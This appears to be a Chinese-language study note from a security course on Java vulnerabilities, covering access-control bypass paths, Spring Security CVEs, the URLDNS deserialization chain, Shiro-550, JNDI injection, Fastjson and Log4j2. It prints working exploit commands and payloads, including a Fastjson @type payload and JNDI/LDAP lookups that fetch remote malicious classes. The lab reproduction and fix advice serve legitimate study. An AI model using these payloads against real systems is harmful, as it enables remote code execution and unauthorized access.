25-java权限绕过&反序列化漏洞
1、复习Filter权限绕过、SpringSecurity权限绕过漏洞原理
Filter权限绕过
概述:Filter用于权限校验时,若路径处理不当(如未标准化URI、未处理特殊字符等),攻击者可构造特殊请求绕过权限检查,访问受限资源。
-
常见绕过方式及原理
-
目录遍历(
../绕过)- 原理:Filter未对URI进行标准化处理。攻击者构造
../返回上级目录,使URI匹配白名单路径。 - 示例:
payload:/system/login/../../admin/main.do- Filter认为路径以
/system/login开头,放行。 - 实际解析后路径为
admin/main.do,绕过权限校验。
- Filter认为路径以
- 原理:Filter未对URI进行标准化处理。攻击者构造
-
分号截断(
;绕过)- 原理:
;在URL中为保留字符,用于参数分割。Filter仅检查.do结尾,忽略分号后内容。 - 示例:
payload:/admin/main.do;123- Filter检查url不是以
.do结尾放行。 - 分号后的
123作为无效参数不会对原地址有任何影响,绕过权限校验,
- Filter检查url不是以
- 原理:
-
多斜杠绕过(
//)- 原理:多加⼀个
/并不影响正常解析,而又能让该规则匹配不到,成功绕过。- 示例:
payload://system//UserInfoSearch.do- 服务器解析为
/system/UserInfoSearch.do,但Filter未匹配到原始路径。
- 服务器解析为
- 示例:
- 原理:多加⼀个
-
URL编码绕过
- 原理:Filter未解码URI直接校验,服务器解码后访问目标路径。
- 示例:
payload:/system/%55%73%65%72%49%6e%66%6f%53%65%61%72%63%68%2e%64%6f(解码后为/system/UserInfoSearch.do)- Filter因未解码无法识别真实路径,放行请求。
-
Spring MVC追加斜杠
- 原理:Spring MVC自动去除尾部
/,但Filter未处理导致绕过。 - 示例:
payload:/admin/main.do/- Spring 匹配
/admin/main.do,Filter检查时末尾含斜杠,不符合规则实现绕过。
- Spring 匹配
- 原理:Spring MVC自动去除尾部
-
修复方式
-
路径规范化处理(使用
getServletPath()代替getRequestURI())String path = request.getServletPath() + (request.getPathInfo() != null ? request.getPathInfo() : "");
-
-
SpringSecurity权限绕过
-
antMatchers配置不当权限绕过-
原理:
antMatchers使用 Ant 风格路径匹配(**匹配多级目录)。若配置为/admin而非/admin/**,无法覆盖子路径(如/admin/)。 -
示例代码:
.antMatchers("/admin").access("hasRole('ADMIN')") -
绕过方式:访问
/admin/(尾部添加斜杠) -
修复:使用
/admin/**或mvcMatchers("/admin")。
-
-
regexMatchers配置不当权限绕过-
原理:正则表达式未严格限制路径结尾(如
/admin.*?)。 -
示例代码:
.regexMatchers("/admin").access("hasRole('ADMIN')") -
绕过方式:通过
/admin?或/admin/绕过。 -
修复:将正则写完整
(/admin.*?")
-
-
低版本
useSuffixPatternMatch权限绕过-
原理:当
spring-webmvc ≤ 4.3.25(springboot ≤ 1.5.22.RELEASE)时,默认启用后缀匹配(suffixPatternMatch默认为True,/hello匹配/hello.*)。 -
示例代码:
.antMatchers("/admin/**").access("hasRole('ADMIN')") -
绕过方式:访问
/admin.或/admin.xxx。 -
修复:升级版本(Spring Boot ≥1.5.23)。
-
-
CVE-2022-22978(
regexMatchers正则绕过)-
影响版本:
Spring Security 5.6.x <5.6.4 ; 5.5.x <5.5.7 ; 5.4.x <5.4.11 -
原理:正则未正确处理换行符(如
%0a/%0d) -
绕过方式:构造
/admin%0a或/admin%0d。 -
修复:更新至安全版本。
-
-
CVE-2022-31692(
forward&include转发绕过)-
原理:低权限路由通过转发(
forward/include)调用高权限端点。 -
示例:
@GetMapping("/public") public String publicPage() { return "forward:/admin"; } -
修复:避免低权限接口直接转发到高权限端点
-
-
CVE-2023-34034(WebFlux 路径匹配不一致)
-
影响版本:
Spring Security
-
6.1.0 - 6.1.1 -
6.0.0 - 6.0.4 -
5.8.0 - 5.8.4 -
5.7.0 - 5.7.9 -
5.6.0 - 5.6.11
-
-
原理:WebFlux使用
**作为匹配会导致Spring Security和Spring WebFlux之间的模式匹配不⼀致,并可能导致安全绕过。 -
示例代码:
.antMatchers("admin/**").access("hasRole('ADMIN')")antMatchers("admin/**")未以/开头,导致与WebFlux匹配规则冲突。 -
修复:写规则的路径以
/开头(如/admin/**)。
-
2、分析研究java反序列化漏洞原理并详细分析URLDNS链触发过程
Java反序列化漏洞原理分析
-
基本概念
-
序列化:将Java对象转换为字节流(用于存储/传输)
ObjectOutputStream.writeObject()。 -
反序列化:将字节流恢复为Java对象
ObjectInputStream.readObject()。 -
漏洞本质:攻击者通过构造恶意序列化数据,利用反序列化时自动调用的方法链(Gadget Chains)执行任意代码。
-
-
关键特征
- 被反序列化的类必须实现
Serializable接口 - 存在危险方法(如
Runtime.exec())的调用链路 - 存在可被控制的触发点(如重写
readObject()方法)
- 被反序列化的类必须实现
URLDNS链触发过程
先使用dnslog用成⼀个域名,然后用ysoserial生成URLDNS链:
java -jar ysoserial-all.jar URLDNS http://b58uwm.dnslog.cn > urldns.bin
对 urldns.bin 文件进行反序列化,成功收到dns请求记录

-
分析调试
-
忽略不必要函数调用,进入
HashMap的readObject方法序列化的HashMap对象在反序列化时会调用其
readObject()方法,HashMap会对所有键(Key)调用hash(key)方法计算哈希值。
-
调用URL的
hashCode方法
在
hashcode方法中,如果hashcode值不为-1,则直接返回,当为-1时,进入类对象的Handler方法
-
URLStreamHandler的处理
在
handler.hashCode()内部又调用getHostAddress(url)解析域名
-
DNS查询触发
getHostAddress函数内部又调用了InetAddress.getByName()根据 url 获取对应的 ip ,因此会触发dns查询
-
3、使用shirl_tool工具对shiro-550漏洞进行攻击并分析漏洞原理
环境搭建(Shiro <= 1.2.4):
-
下载官方源码
-
切换分支到shiro-root-1.2.4
-
使用 idea 打开samples/web目录,加载项目
-
使用高版本tomcat会出现不兼容问题,无法启动,推荐使用 tomcat 8作为web容器进行debug
-
漏洞复现
直接使用 shiro反序列利用工具 复现
java -jar shiro_tool.jar http://localhost:8080/shirodemo_war_exploded/login.jsp
-
漏洞分析
-
漏洞流程
使用了 Shiro 框架的 Web 应用,登录成功后的用户信息会加密存储在 Cookie 中,后续可以从 Cookie中读取用户认证信息,从而达到“记住我”的目的,简要流程如下:
rememberMe cookie的生成:
用户身份信息序列化>AES加密>base64编码>存储到cookie中的rememberMe 字段rememberMe cookie的读取:
读取cookie中的rememberMe 字段>base64解码>AES解密>用户身份信息反序列化 -
漏洞成因
- 硬编码 AES 密钥 :AES密钥一直为默认值,攻击者可轻易获取
- 不安全的反序列化:Shiro 解密 Cookie 数据后,直接调用
Java ObjectInputStream进行反序列化,未对数据来源进行合法性校验。
-
4、JNDI注入漏洞原理分析复习
-
漏洞复现
准备如下文件:
-
Client.java

-
Server.java

上述代码:主要是将
/EvalObj这个路径绑定到一个Reference上,其中Reference的构造函数第一个参数是className,第二个参数是classFactory,第三个参数是classFactoryLocation,当目标不在className类时,会根据classFactory加载,即访问http://127.0.0.1:1002/Exploit.class -
Exploit.java

开始复现:
-
将Exploit.java编译:
javac Exploit.java -
进入Exploit.class所在的目录,并使用python 搭建http服务并监听1002
python -m http.server --bind 0.0.0.0 1002访问 http://127.0.0.1:1002/Exploit.class 测试是否能获取到请求的Exploit.class类,成功如下所示:

-
启动server服务后,运行client,即可触发漏洞

-
-
漏洞分析
- 标代码中调用了
InitialContext.lookup(URI),且URI为用户可控; - 攻击者控制URI参数为恶意的RMI服务地址,如:
rmi://hacker_rmi_server/name; - 攻击者RMI服务器向目标返回⼀个Reference对象,Reference对象中指定某个精心构造的
Factory类; - 目标在进行
lookup()操作时,会先查找本地是否存在,不存在的话则根据Reference对象信息动态加载并实例化Factory类,接着调用factory对象的getObjectInstance()方法获取外部远程对象实例 - 攻击者可以在
Factory类文件的构造方法、静态代码块、getObjectInstance()方法等处写入恶意代码,达到RCE的效果;
- 标代码中调用了
5、Fastjson 反序列化漏洞复习
概述:Fastjson 通过 JSON.parseObject() 和 JSON.parse() 反序列化 JSON 时,若字符串包含 @type,会自动实例化指定类,并执行其 setter 和 getter 方法,最终转换为 JSONObject。如果类中存在可利用的调用链,@type 可能被用于恶意攻击。
目前主要存在三种利用方式:JNDI注入、TemplatesImpl 加载字节码、BCEL加载字节码,下面以JNDI注入为例:
环境:Fastjson1.2.24版本、使用了JSON.parse()或JSON.parseObject()函数,函数参数可控。
-
漏洞复现
-
启动恶意的服务
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C calc
-
发送如下payload
{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"ldap://127.0.0.1:1389/zw57uv", "autoCommit":true }测试,成功RCE

-
-
漏洞分析
- 漏洞点在
com.sun.rowset.JdbcRowSetImpl,其存在的setAutoCommit方法,调用了this.connect()。 - 跟进
this.connect()方法,其调用了var1.lookup()方法。 - 跟进
var1.lookup(),即javax.naming.InitialContext#lookup(),很明显的JNDI注入,而name参数则是由从成员变量dataSource中获取。 dataSource又由我们可控,即可在此处传入恶意代码,达到RCE的效果。
- 漏洞点在
6、log4j2 jndi注入漏洞复习
概述:Apache Log4j2 的漏洞是由于其lookup功能没有对输入进行严格验证,允许恶意攻击者通过注入恶意class文件执行任意命令。
环境:Log4j 版本:2.x ≤ 2.14.1
-
漏洞复现
-
使用
JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar启动恶意的服务 -
执行,成功RCE

-
-
漏洞分析
Log4j2在处理日志消息时,如果日志内容包含类似
${jndi:ldap:/攻击者服务器/恶意代码}这样的表达式,就会执行JNDI查找,从而加载远程的恶意类,实现RCE。

浙公网安备 33010602011771号